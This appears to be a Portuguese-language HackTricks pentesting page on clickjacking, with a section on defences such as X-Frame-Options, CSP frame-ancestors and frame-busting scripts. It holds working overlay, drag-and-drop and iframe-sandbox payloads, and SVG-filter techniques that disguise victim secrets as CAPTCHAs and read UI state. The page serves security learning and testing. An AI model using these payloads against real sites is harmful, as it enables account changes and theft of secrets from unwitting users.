Clickjacking

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

O que é Clickjacking

Em um ataque de clickjacking, um usuário é enganado para clicar em um elemento numa página web que está invisível ou disfarçado como um elemento diferente. Essa manipulação pode levar a consequências não intencionais para o usuário, como o download de malware, redirecionamento para páginas web maliciosas, fornecimento de credenciais ou informações sensíveis, transferências de dinheiro ou a compra online de produtos.

Truque de pré-preenchimento de formulários

Às vezes é possível preencher o valor dos campos de um formulário usando parâmetros GET ao carregar a página. Um atacante pode abusar desse comportamento para preencher um formulário com dados arbitrários e enviar o clickjacking payload para que o usuário pressione o botão Submit.

Preencher formulário com Drag&Drop

Se você precisa que o usuário preencha um formulário mas não quer pedir diretamente que ele digite alguma informação específica (como o email e/ou uma senha específica que você conhece), você pode simplesmente pedir que ele Drag&Drop algo que irá escrever os seus dados controlados como em this example.

Basic Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Payload de múltiplas etapas

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Arrastar&Soltar + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Se você identificou um XSS que requer que um usuário clique em algum elemento para disparar o XSS e a página é vulnerável a clickjacking, você pode abusar disso para enganar o usuário a clicar no botão/link.
Exemplo:
Você encontrou um self XSS em alguns detalhes privados da conta (detalhes que apenas você pode definir e ler). A página com o form para definir esses detalhes é vulnerável a Clickjacking e você pode prepopular o form com os parâmetros GET.
Um atacante poderia preparar um ataque de Clickjacking para essa página prepopulando o form com o payload XSS e enganando o usuário para Enviar o form. Assim, quando o form for submetido e os valores forem modificados, o usuário executará o XSS.

DoubleClickjacking

Firstly explained in this post, this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page duing the double click so the victim actually clicks a legit button in the victim page.

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

Warning

Esta técnica permite enganar o usuário para clicar em 1 lugar na página da vítima contornando todas as proteções contra clickjacking. Portanto, o atacante precisa encontrar ações sensíveis que possam ser feitas com apenas 1 clique, como prompts OAuth aceitando permissões.

SVG Filters / Cross-Origin Iframe UI Redressing

Modern Chromium/WebKit/Gecko builds let CSS filter:url(#id) be applied to cross-origin iframes. The iframe’s rasterized pixels are exposed to the SVG filter graph as SourceGraphic, so primitives such as feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, etc. can arbitrarily warp the victim UI before the user sees it, even though the attacker never touches the DOM. A simple Liquid-Glass style filter looks like:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Primitivas úteis: feImage carrega bitmaps do atacante (por exemplo, sobreposições, mapas de deslocamento); feFlood cria máscaras de cor constante; feOffset/feGaussianBlur refinam realces; feDisplacementMap refrata/deforma texto; feComposite operator="arithmetic" implementa matemática arbitrária por canal (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), o que é suficiente para aumento de contraste, mascaramento e operações AND/OR; feTile recorta e replica sondas de pixel; feMorphology cresce/encolhe traços; feColorMatrix move luma para alpha para construir máscaras precisas.

Distorcendo secrets em prompts no estilo CAPTCHA

Se um endpoint emoldurável renderizar secrets (tokens, reset codes, API keys), o atacante pode distorcê‑los para que se pareçam com um CAPTCHA e coagir a transcrição manual:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

The distorted pixels fool the user into “solving” the captcha inside the attacker-controlled <input> whose pattern enforces the real victim secret.

Recontextualizing victim inputs

Filtros podem remover cirurgicamente texto de placeholder/validação enquanto preservam as teclas digitadas pelo usuário. Um fluxo de trabalho:

  1. feComposite operator="arithmetic" k2≈4 amplifica o brilho para que o texto auxiliar cinza sature até branco.
  2. feTile limita a área de trabalho ao retângulo do campo de entrada.
  3. feMorphology operator="erode" espessa os glifos escuros digitados pela vítima e os armazena via result="thick".
  4. feFlood cria uma base branca, feBlend mode="difference" com thick, e um segundo feComposite k2≈100 transforma isso em uma máscara de luminância marcante.
  5. feColorMatrix move essa luminância para o alpha, e feComposite in="SourceGraphic" operator="in" mantém apenas os glifos inseridos pelo usuário.
  6. Outro feBlend in2="white" mais um corte fino gera uma caixa de texto limpa, após a qual o atacante sobrepõe seus próprios rótulos HTML (por exemplo, “Enter your email”) enquanto o iframe oculto ainda aplica a política de senha da origem da vítima.

Safari struggles with feTile; the same effect can be reproduced with spatial mattes built from feFlood + feColorMatrix + feComposite for WebKit-only payloads.

Pixel probes, logic and state machines

Ao recortar uma região de 2–4 px com feTile e preenchê-la para 100% do viewport, o atacante transforma a cor amostrada em uma textura de quadro inteiro que pode ser limiarizada em uma máscara booleana:

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

Para cores arbitrárias, uma referência feFlood (por exemplo, #0B57D0) mais feBlend mode="difference" e outro composite aritmético (k2≈100, k4 como tolerância) produz branco apenas quando o pixel amostrado corresponde à tonalidade alvo. Alimentar essas máscaras em feComposite com k1..k4 ajustados gera portas lógicas: AND via k1=1, OR via k2=k3=1, XOR via feBlend mode="difference", NOT via blending contra branco. Encadear portas cria um somador completo dentro do grafo de filtros, provando que o pipeline é funcionalmente completo.

Atacantes podem, portanto, ler o estado da UI sem JavaScript. Exemplos de booleanos em um fluxo modal:

  • D (dialog visible): sondar um canto escurecido e testar contra branco.
  • L (dialog loaded): sondar as coordenadas onde o botão aparece quando pronto.
  • C (checkbox checked): comparar o pixel do checkbox contra o azul ativo #0B57D0.
  • R (red success/failure banner): usar feMorphology e limiares vermelhos dentro do retângulo do banner.

Cada estado detectado aciona um bitmap de overlay diferente embutido via feImage xlink:href="data:...". Mascarar esses bitmaps com D, L, C, R mantém os overlays sincronizados com o diálogo real e guia a vítima por fluxos multi-etapa (redefinições de senha, aprovações, confirmações destrutivas) sem nunca expor o DOM.

Extensões do navegador: DOM-based autofill clickjacking

Além de iframing victim pages, atacantes podem mirar elementos de UI de browser extension que são injetados na página. Password managers renderizam autofill dropdowns próximos a inputs com foco; ao focar um campo controlado pelo atacante e esconder/obstruir o dropdown da extensão (truques de opacity/overlay/top-layer), um clique coagido do usuário pode selecionar um item armazenado e preencher dados sensíveis em inputs controlados pelo atacante. Essa variante não requer exposição via iframe e funciona inteiramente por manipulação do DOM/CSS.

Estratégias para Mitigar Clickjacking

Defesas no Lado do Cliente

Scripts executados no cliente podem realizar ações para prevenir Clickjacking:

  • Garantir que a janela da aplicação seja a janela principal ou top window.
  • Tornar todos os frames visíveis.
  • Impedir cliques em frames invisíveis.
  • Detectar e alertar usuários sobre potenciais tentativas de Clickjacking.

No entanto, esses frame-busting scripts podem ser contornados:

  • Configurações de Segurança dos Navegadores: Alguns navegadores podem bloquear esses scripts com base nas configurações de segurança ou na falta de suporte a JavaScript.
  • Atributo sandbox de iframe HTML5: Um atacante pode neutralizar frame buster scripts definindo o atributo sandbox com os valores allow-forms ou allow-scripts sem allow-top-navigation. Isso impede que o iframe verifique se ele é a janela superior, por exemplo.
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

Os valores allow-forms e allow-scripts habilitam ações dentro do iframe enquanto desabilitam a navegação no nível superior. Para garantir a funcionalidade pretendida do site alvo, permissões adicionais como allow-same-origin e allow-modals podem ser necessárias, dependendo do tipo de ataque. Mensagens do console do navegador podem indicar quais permissões permitir.

Defesas do Lado do Servidor

X-Frame-Options

O X-Frame-Options HTTP response header informa aos navegadores sobre a legitimidade de renderizar uma página em um <frame> ou <iframe>, ajudando a prevenir Clickjacking:

  • X-Frame-Options: deny - Nenhum domínio pode emoldurar o conteúdo.
  • X-Frame-Options: sameorigin - Apenas o mesmo site pode emoldurar o conteúdo.
  • X-Frame-Options: allow-from https://trusted.com - Apenas o ‘uri’ especificado pode emoldurar a página.
  • Observe as limitações: se o navegador não suportar essa diretiva, ela pode não funcionar. Alguns navegadores preferem a diretiva CSP frame-ancestors.

Content Security Policy (CSP) frame-ancestors directive

A diretiva frame-ancestors no CSP é o método recomendado para proteção contra Clickjacking:

  • frame-ancestors 'none' - Similar a X-Frame-Options: deny.
  • frame-ancestors 'self' - Similar a X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Similar a X-Frame-Options: allow-from.

Por exemplo, a seguinte CSP permite emoldurar apenas a partir do mesmo domínio:

Content-Security-Policy: frame-ancestors 'self';

Further details and complex examples can be found in the frame-ancestors CSP documentation and Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) with child-src and frame-src

Content Security Policy (CSP) é uma medida de segurança que ajuda a prevenir Clickjacking e outros ataques de injeção de código ao especificar quais fontes o navegador deve permitir carregar conteúdo.

frame-src Directive

  • Define fontes válidas para frames.
  • Mais específico que a diretiva default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Esta política permite frames da mesma origem (self) e https://trusted-website.com.

Diretiva child-src

  • Introduzida no CSP nível 2 para definir fontes válidas para web workers e frames.
  • Atua como fallback para frame-src e worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Esta política permite frames e workers da mesma origem (self) e de https://trusted-website.com.

Notas de Uso:

  • Depreciação: child-src está sendo gradualmente descontinuado em favor de frame-src e worker-src.
  • Comportamento de Fallback: Se frame-src estiver ausente, child-src é usado como fallback para frames. Se ambos estiverem ausentes, default-src é usado.
  • Definição Rigorosa de Fontes: Inclua apenas fontes confiáveis nas diretivas para evitar exploração.

Scripts JavaScript de frame-busting

Embora não sejam completamente infalíveis, scripts baseados em JavaScript de frame-busting podem ser usados para impedir que uma página web seja emoldurada. Exemplo:

if (top !== self) {
top.location = self.location
}

Empregando Anti-CSRF Tokens

  • Validação de Token: Utilize anti-CSRF tokens em aplicações web para garantir que requisições que alteram o estado sejam feitas intencionalmente pelo usuário e não através de uma página Clickjacked.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks